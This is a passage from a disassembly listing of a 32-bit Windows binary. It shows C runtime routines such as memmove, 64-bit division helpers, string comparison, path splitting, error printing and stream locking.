lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_437230 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_42B82A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B870 proc near ; CODE XREF: sub_419A4B+C8p
; sub_42C63D+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_42B8A1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_42B89F
jz short loc_42B8A1
dec ecx
dec ecx
loc_42B89F: ; CODE XREF: sub_42B870+29j
not ecx
loc_42B8A1: ; CODE XREF: sub_42B870+9j
; sub_42B870+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_42B870 endp
; =============== S U B R O U T I N E =======================================
sub_42B8A8 proc near ; DATA XREF: ?9:off_43749Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_42B94B
test [esp+4+arg_0], 1
jz short loc_42B8BE
push esi
call sub_429006
pop ecx
loc_42B8BE: ; CODE XREF: sub_42B8A8+Dj
mov eax, esi
pop esi
retn 4
sub_42B8A8 endp
; =============== S U B R O U T I N E =======================================
sub_42B8C4 proc near ; CODE XREF: sub_41B189+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_43749C
push dword ptr [edi]
call sub_4292D0
inc eax
push eax
call sub_42B407
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42B8F3
push dword ptr [edi]
push eax
call sub_42A500
pop ecx
pop ecx
loc_42B8F3: ; CODE XREF: sub_42B8C4+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42B8C4 endp
; =============== S U B R O U T I N E =======================================
sub_42B901 proc near ; CODE XREF: sub_41B26C+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_43749C
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_42B93E
push dword ptr [edi+4]
call sub_4292D0
inc eax
push eax
call sub_42B407
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42B944
push dword ptr [edi+4]
push eax
call sub_42A500
pop ecx
pop ecx
jmp short loc_42B944
; ---------------------------------------------------------------------------
loc_42B93E: ; CODE XREF: sub_42B901+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42B944: ; CODE XREF: sub_42B901+2Ej
; sub_42B901+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42B901 endp
; =============== S U B R O U T I N E =======================================
sub_42B94B proc near ; CODE XREF: sub_41B213+2Bp
; sub_41B2C4+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_43749C
jz short locret_42B960
push dword ptr [ecx+4]
call sub_429006
pop ecx
locret_42B960: ; CODE XREF: sub_42B94B+Aj
retn
sub_42B94B endp
; =============== S U B R O U T I N E =======================================
sub_42B961 proc near ; DATA XREF: ?9:004374A0o
mov eax, [ecx+4]
test eax, eax
jnz short locret_42B96D
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_42B96D: ; CODE XREF: sub_42B961+5j
retn
sub_42B961 endp
; =============== S U B R O U T I N E =======================================
sub_42B96E proc near ; CODE XREF: ?9:0042B99Ap
push esi
mov esi, ecx
push 1Bh
mov dword ptr [esi], offset off_4374BC
call sub_42DA1F
mov esi, [esi+4]
pop ecx
test esi, esi
jz short loc_42B98D
push esi
call sub_429822
pop ecx
loc_42B98D: ; CODE XREF: sub_42B96E+16j
push 1Bh
call sub_42DA80
pop ecx
pop esi
retn
sub_42B96E endp
; ---------------------------------------------------------------------------
loc_42B997: ; DATA XREF: ?9:off_4374BCo
push esi
mov esi, ecx
call sub_42B96E
test byte ptr [esp+8], 1
jz short loc_42B9AD
push esi
call sub_429006
pop ecx
loc_42B9AD: ; CODE XREF: ?9:0042B9A4j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B9C0 proc near ; CODE XREF: sub_41B494+3Ap
; sub_42C855+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_42B9E0
cmp edi, eax
jb loc_42BB58
loc_42B9E0: ; CODE XREF: sub_42B9C0+16j
test edi, 3
jnz short loc_42B9FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_42BA1C
rep movsd
jmp off_42BB08[edx*4]
; ---------------------------------------------------------------------------
loc_42B9FC: ; CODE XREF: sub_42B9C0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_42BA14
and eax, 3
add ecx, eax
jmp dword ptr loc_42BA1C+4[eax*4]
; ---------------------------------------------------------------------------
loc_42BA14: ; CODE XREF: sub_42B9C0+46j
jmp dword ptr loc_42BB18[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_42BA1C: ; CODE XREF: sub_42B9C0+31j
; sub_42B9C0+8Ej ...
jmp off_42BA9C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_42BA2C+4
dd offset loc_42BA5C
; ---------------------------------------------------------------------------
loc_42BA2C: ; DATA XREF: sub_42B9C0+64o
cmp byte ptr [edx-2EDCFFBEh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_42BA1C
rep movsd
jmp off_42BB08[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_42BA5C: ; DATA XREF: sub_42B9C0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_42BA1C
rep movsd
jmp off_42BB08[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_42BA1C
rep movsd
jmp off_42BB08[edx*4]
; ---------------------------------------------------------------------------
align 4
off_42BA9C dd offset loc_42BAFF ; DATA XREF: sub_42B9C0:loc_42BA1Cr
dd offset loc_42BAEC
dd offset loc_42BAE4
dd offset loc_42BADC
dd offset loc_42BAD4
dd offset loc_42BACC
dd offset loc_42BAC4
dd offset loc_42BABC
; ---------------------------------------------------------------------------
loc_42BABC: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_42BAC4: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_42BACC: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_42BAD4: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_42BADC: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_42BAE4: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_42BAEC: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_42BAFF: ; CODE XREF: sub_42B9C0:loc_42BA1Cj
; DATA XREF: sub_42B9C0:off_42BA9Co
jmp off_42BB08[edx*4]
; ---------------------------------------------------------------------------
align 4
off_42BB08 dd offset loc_42BB18 ; DATA XREF: sub_42B9C0+35r
; sub_42B9C0+92r ...
dd offset loc_42BB20
dd offset loc_42BB2C
dd offset loc_42BB40
; ---------------------------------------------------------------------------
loc_42BB18: ; CODE XREF: sub_42B9C0+35j
; sub_42B9C0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_42BB20: ; CODE XREF: sub_42B9C0+35j
; sub_42B9C0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42BB2C: ; CODE XREF: sub_42B9C0+35j
; sub_42B9C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_42BB40: ; CODE XREF: sub_42B9C0+35j
; sub_42B9C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42BB58: ; CODE XREF: sub_42B9C0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_42BB8C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_42BB80
std
rep movsd
cld
jmp off_42BCA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_42BB80: ; CODE XREF: sub_42B9C0+1B1j
; sub_42B9C0+208j ...
neg ecx
jmp off_42BC50[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_42BB8C: ; CODE XREF: sub_42B9C0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_42BBA4
and eax, 3
sub ecx, eax
jmp dword ptr loc_42BBA4+4[eax*4]
; ---------------------------------------------------------------------------
loc_42BBA4: ; CODE XREF: sub_42B9C0+1D6j
; DATA XREF: sub_42B9C0+1DDr
jmp off_42BCA0[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov eax, 0D80042BBh
mov ebx, 0BC000042h
inc edx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_42BB80
std
rep movsd
cld
jmp off_42BCA0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_42BB80
std
rep movsd
cld
jmp off_42BCA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_42BB80
std
rep movsd
cld
jmp off_42BCA0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_42BC54
dd offset loc_42BC5C
dd offset loc_42BC64
dd offset loc_42BC6C
dd offset loc_42BC74
dd offset loc_42BC7C
dd offset loc_42BC84
off_42BC50 dd offset loc_42BC97 ; DATA XREF: sub_42B9C0+1C2r
; ---------------------------------------------------------------------------
loc_42BC54: ; DATA XREF: sub_42B9C0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_42BC5C: ; DATA XREF: sub_42B9C0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_42BC64: ; DATA XREF: sub_42B9C0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_42BC6C: ; DATA XREF: sub_42B9C0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_42BC74: ; DATA XREF: sub_42B9C0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_42BC7C: ; DATA XREF: sub_42B9C0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_42BC84: ; DATA XREF: sub_42B9C0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_42BC97: ; CODE XREF: sub_42B9C0+1C2j
; DATA XREF: sub_42B9C0:off_42BC50o
jmp off_42BCA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_42BCA0 dd offset loc_42BCB0 ; DATA XREF: sub_42B9C0+1B7r
; sub_42B9C0:loc_42BBA4r ...
dd offset loc_42BCB8
dd offset loc_42BCC8
dd offset loc_42BCDC
; ---------------------------------------------------------------------------
loc_42BCB0: ; CODE XREF: sub_42B9C0+1B7j
; sub_42B9C0:loc_42BBA4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42BCB8: ; CODE XREF: sub_42B9C0+1B7j
; sub_42B9C0:loc_42BBA4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42BCC8: ; CODE XREF: sub_42B9C0+1B7j
; sub_42B9C0:loc_42BBA4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_42BCDC: ; CODE XREF: sub_42B9C0+1B7j
; sub_42B9C0:loc_42BBA4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_42B9C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42BD00 proc near ; CODE XREF: sub_41BC85+3Dp
; sub_427D86+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_42BD21
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_42BD71
; ---------------------------------------------------------------------------
loc_42BD21: ; CODE XREF: sub_42BD00+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_42BD2F: ; CODE XREF: sub_42BD00+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_42BD2F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_42BD5A
cmp edx, [esp+4+arg_4]
ja short loc_42BD5A
jb short loc_42BD62
cmp eax, [esp+4+arg_0]
jbe short loc_42BD62
loc_42BD5A: ; CODE XREF: sub_42BD00+4Aj
; sub_42BD00+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_42BD62: ; CODE XREF: sub_42BD00+52j
; sub_42BD00+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_42BD71: ; CODE XREF: sub_42BD00+1Fj
pop ebx
retn 10h
sub_42BD00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42BD80 proc near ; CODE XREF: sub_41BC85+24p
; sub_427D86+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_42BDA2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_42BDE3
; ---------------------------------------------------------------------------
loc_42BDA2: ; CODE XREF: sub_42BD80+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_42BDB0: ; CODE XREF: sub_42BD80+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_42BDB0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_42BDDE
cmp edx, [esp+8+arg_4]
ja short loc_42BDDE
jb short loc_42BDDF
cmp eax, [esp+8+arg_0]
jbe short loc_42BDDF
loc_42BDDE: ; CODE XREF: sub_42BD80+4Ej
; sub_42BD80+54j
dec esi
loc_42BDDF: ; CODE XREF: sub_42BD80+56j
; sub_42BD80+5Cj
xor edx, edx
mov eax, esi
loc_42BDE3: ; CODE XREF: sub_42BD80+20j
pop esi
pop ebx
retn 10h
sub_42BD80 endp
; =============== S U B R O U T I N E =======================================
sub_42BDE8 proc near ; CODE XREF: sub_41EBD7+14Cp
; sub_41EBD7+15Ep
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
mov esi, offset dword_450EC0
push edi
push esi
push 1
call sub_42C133
push esi
call sub_432034
mov edi, eax
lea eax, [esp+18h+arg_4]
push eax
push [esp+1Ch+arg_0]
push esi
call sub_42DBAD
push esi
push edi
mov ebx, eax
call sub_4320C1
push esi
push 1
call sub_42C185
add esp, 28h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_42BDE8 endp
; =============== S U B R O U T I N E =======================================
sub_42BE29 proc near ; CODE XREF: sub_41EBD7+12Bp
arg_0 = dword ptr 4
push esi
push edi
push 2
pop edi
push edi
call sub_43234B
mov esi, [esp+0Ch+arg_0]
pop ecx
test esi, esi
jz short loc_42BE5F
cmp byte ptr [esi], 0
jz short loc_42BE5F
push esi
call sub_4292D0
push eax
push esi
push edi
call sub_432431
push edi
push offset asc_450368 ; ": "
push edi
call sub_432431
add esp, 1Ch
loc_42BE5F: ; CODE XREF: sub_42BE29+12j
; sub_42BE29+17j
call sub_42F049
cmp dword ptr [eax], 0
jl short loc_42BE81
call sub_42F049
mov eax, [eax]
cmp eax, dword_453974
jge short loc_42BE81
call sub_42F049
mov eax, [eax]
jmp short loc_42BE86
; ---------------------------------------------------------------------------
loc_42BE81: ; CODE XREF: sub_42BE29+3Ej
; sub_42BE29+4Dj
mov eax, dword_453974
loc_42BE86: ; CODE XREF: sub_42BE29+56j
mov esi, off_4538C4[eax*4]
push esi
call sub_4292D0
push eax
push esi
push edi
call sub_432431
push 1
push offset asc_440D78 ; "\n"
push edi
call sub_432431
push edi
call sub_4323AA
add esp, 20h
pop edi
pop esi
retn
sub_42BE29 endp
; =============== S U B R O U T I N E =======================================
sub_42BEB4 proc near ; CODE XREF: sub_42BEC0j
push offset off_450EA0
call sub_4325ED
pop ecx
retn
sub_42BEB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42BEC0 proc near ; CODE XREF: sub_41F02F+3B6p
jmp sub_42BEB4
sub_42BEC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BEC5 proc near ; CODE XREF: sub_41F7B0+2F1p
; sub_41FB92+154p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_4292D0
cmp eax, 1
pop ecx
jb short loc_42BF00
cmp byte ptr [ebx+1], 3Ah
jnz short loc_42BF00
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_42BEFC
push 2
push ebx
push esi
call sub_4329EC
add esp, 0Ch
and byte ptr [esi+2], 0
loc_42BEFC: ; CODE XREF: sub_42BEC5+25j
inc ebx
inc ebx
jmp short loc_42BF0A
; ---------------------------------------------------------------------------
loc_42BF00: ; CODE XREF: sub_42BEC5+18j
; sub_42BEC5+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_42BF0A
and byte ptr [eax], 0
loc_42BF0A: ; CODE XREF: sub_42BEC5+39j
; sub_42BEC5+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_42BF82
loc_42BF1D: ; CODE XREF: sub_42BEC5+87j
mov cl, [eax]
movzx edx, cl
test byte_676DA1[edx], 4
jz short loc_42BF2E
inc eax
jmp short loc_42BF48
; ---------------------------------------------------------------------------
loc_42BF2E: ; CODE XREF: sub_42BEC5+64j
cmp cl, 2Fh
jz short loc_42BF42
cmp cl, 5Ch
jz short loc_42BF42
cmp cl, 2Eh
jnz short loc_42BF48
mov [ebp+var_4], eax
jmp short loc_42BF48
; ---------------------------------------------------------------------------
loc_42BF42: ; CODE XREF: sub_42BEC5+6Cj
; sub_42BEC5+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_42BF48: ; CODE XREF: sub_42BEC5+67j
; sub_42BEC5+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_42BF1D
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_42BF82
cmp [ebp+arg_8], 0
jz short loc_42BF7D
sub edi, ebx
cmp edi, esi
jb short loc_42BF66
mov edi, esi
loc_42BF66: ; CODE XREF: sub_42BEC5+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_4329EC
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_42BF7D: ; CODE XREF: sub_42BEC5+97j
mov ebx, [ebp+arg_4]
jmp short loc_42BF8C
; ---------------------------------------------------------------------------
loc_42BF82: ; CODE XREF: sub_42BEC5+56j
; sub_42BEC5+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_42BF8C
and byte ptr [ecx], 0
loc_42BF8C: ; CODE XREF: sub_42BEC5+BBj
; sub_42BEC5+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_42BFDF
cmp edi, ebx
jb short loc_42BFDF
cmp [ebp+arg_C], 0
jz short loc_42BFBC
sub edi, ebx
cmp edi, esi
jb short loc_42BFA5
mov edi, esi
loc_42BFA5: ; CODE XREF: sub_42BEC5+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_4329EC
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_42BFBC: ; CODE XREF: sub_42BEC5+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_42C007
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_42BFCC
mov esi, eax
loc_42BFCC: ; CODE XREF: sub_42BEC5+103j
push esi
push [ebp+var_4]
push edi
call sub_4329EC
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_42C007
; ---------------------------------------------------------------------------
loc_42BFDF: ; CODE XREF: sub_42BEC5+CCj
; sub_42BEC5+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_42BFFD
sub eax, ebx
cmp eax, esi
jnb short loc_42BFEE
mov esi, eax
loc_42BFEE: ; CODE XREF: sub_42BEC5+125j
push esi
push ebx
push edi
call sub_4329EC
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_42BFFD: ; CODE XREF: sub_42BEC5+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_42C007
and byte ptr [eax], 0
loc_42C007: ; CODE XREF: sub_42BEC5+FCj
; sub_42BEC5+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_42BEC5 endp
; =============== S U B R O U T I N E =======================================
sub_42C00C proc near ; CODE XREF: sub_41FB92+184p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
push esi
call sub_42C104
push esi
call sub_432034
mov edi, eax
lea eax, [esp+14h+arg_8]
push eax
push [esp+18h+arg_4]
push esi
call sub_42DBAD
push esi
push edi
mov ebx, eax
call sub_4320C1
push esi
call sub_42C156
add esp, 20h
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_42C00C endp
; =============== S U B R O U T I N E =======================================
sub_42C048 proc near ; DATA XREF: ?9:0043A01Co
mov eax, dword_678000
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42C05C
mov eax, 200h
jmp short loc_42C062
; ---------------------------------------------------------------------------
loc_42C05C: ; CODE XREF: sub_42C048+Bj
cmp eax, esi
jge short loc_42C067
mov eax, esi
loc_42C062: ; CODE XREF: sub_42C048+12j
mov dword_678000, eax
loc_42C067: ; CODE XREF: sub_42C048+16j
push 4
push eax
call sub_42B2CA
pop ecx
mov dword_676FEC, eax
test eax, eax
pop ecx
jnz short loc_42C09B
push 4
push esi
mov dword_678000, esi
call sub_42B2CA
pop ecx
mov dword_676FEC, eax
test eax, eax
pop ecx
jnz short loc_42C09B
push 1Ah
call sub_42C5AC
pop ecx
loc_42C09B: ; CODE XREF: sub_42C048+30j
; sub_42C048+49j
xor ecx, ecx
mov eax, offset off_450EA0
loc_42C0A2: ; CODE XREF: sub_42C048+6Ej
mov edx, dword_676FEC
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset off_451120
jl short loc_42C0A2
xor ecx, ecx
mov edx, offset dword_450EB0
loc_42C0BF: ; CODE XREF: sub_42C048+A4j
mov esi, ecx
mov eax, ecx
sar esi, 5
and eax, 1Fh
mov esi, dword_676EC0[esi*4]
lea eax, [eax+eax*8]
mov eax, [esi+eax*4]
cmp eax, 0FFFFFFFFh
jz short loc_42C0DF
test eax, eax
jnz short loc_42C0E2
loc_42C0DF: ; CODE XREF: sub_42C048+91j
or dword ptr [edx], 0FFFFFFFFh
loc_42C0E2: ; CODE XREF: sub_42C048+95j
add edx, 20h
inc ecx
cmp edx, offset dword_450F10
jl short loc_42C0BF
pop esi
retn
sub_42C048 endp
; =============== S U B R O U T I N E =======================================
sub_42C0F0 proc near ; DATA XREF: ?9:0043A030o
call sub_42F265
cmp byte_6769E4, 0
jz short locret_42C103
jmp sub_432A86
; ---------------------------------------------------------------------------
locret_42C103: ; CODE XREF: sub_42C0F0+Cj
retn
sub_42C0F0 endp
; =============== S U B R O U T I N E =======================================
sub_42C104 proc near ; CODE XREF: sub_42A03B+16p
; sub_42A0B8+7p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, offset off_450EA0
cmp eax, ecx
jb short loc_42C128
cmp eax, offset dword_451100
ja short loc_42C128
sub eax, ecx
sar eax, 5
add eax, 1Ch
push eax
call sub_42DA1F
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C128: ; CODE XREF: sub_42C104+Bj
; sub_42C104+12j
add eax, 20h
push eax
call dword_4370C8 ; RtlEnterCriticalSection
retn
sub_42C104 endp
; =============== S U B R O U T I N E =======================================
sub_42C133 proc near ; CODE XREF: sub_42BDE8+Bp
; sub_42F26E+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 14h
jge short loc_42C147
add eax, 1Ch
push eax
call sub_42DA1F
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C147: ; CODE XREF: sub_42C133+7j
mov eax, [esp+arg_4]
add eax, 20h
push eax
call dword_4370C8 ; RtlEnterCriticalSection
retn
sub_42C133 endp
; =============== S U B R O U T I N E =======================================
sub_42C156 proc near ; CODE XREF: sub_42A03B+24p
; sub_42A0B8+22p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, offset off_450EA0
cmp eax, ecx
jb short loc_42C17A
cmp eax, offset dword_451100
ja short loc_42C17A
sub eax, ecx
sar eax, 5
add eax, 1Ch
push eax
call sub_42DA80
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C17A: ; CODE XREF: sub_42C156+Bj
; sub_42C156+12j
add eax, 20h
push eax
call dword_437160 ; RtlLeaveCriticalSection
retn
sub_42C156 endp
; =============== S U B R O U T I N E =======================================
sub_42C185 proc near ; CODE XREF: sub_42BDE8+33p
; sub_42F26E+7Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 14h
jge short loc_42C199
add eax, 1Ch
push eax
call sub_42DA80
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C199: ; CODE XREF: sub_42C185+7j
mov eax, [esp+arg_4]
add eax, 20h
push eax
call dword_437160 ; RtlLeaveCriticalSection
retn
sub_42C185 endp
; =============== S U B R O U T I N E =======================================
sub_42C1A8 proc near ; CODE XREF: sub_41FD79+15Dp
; sub_429D89+12Bp
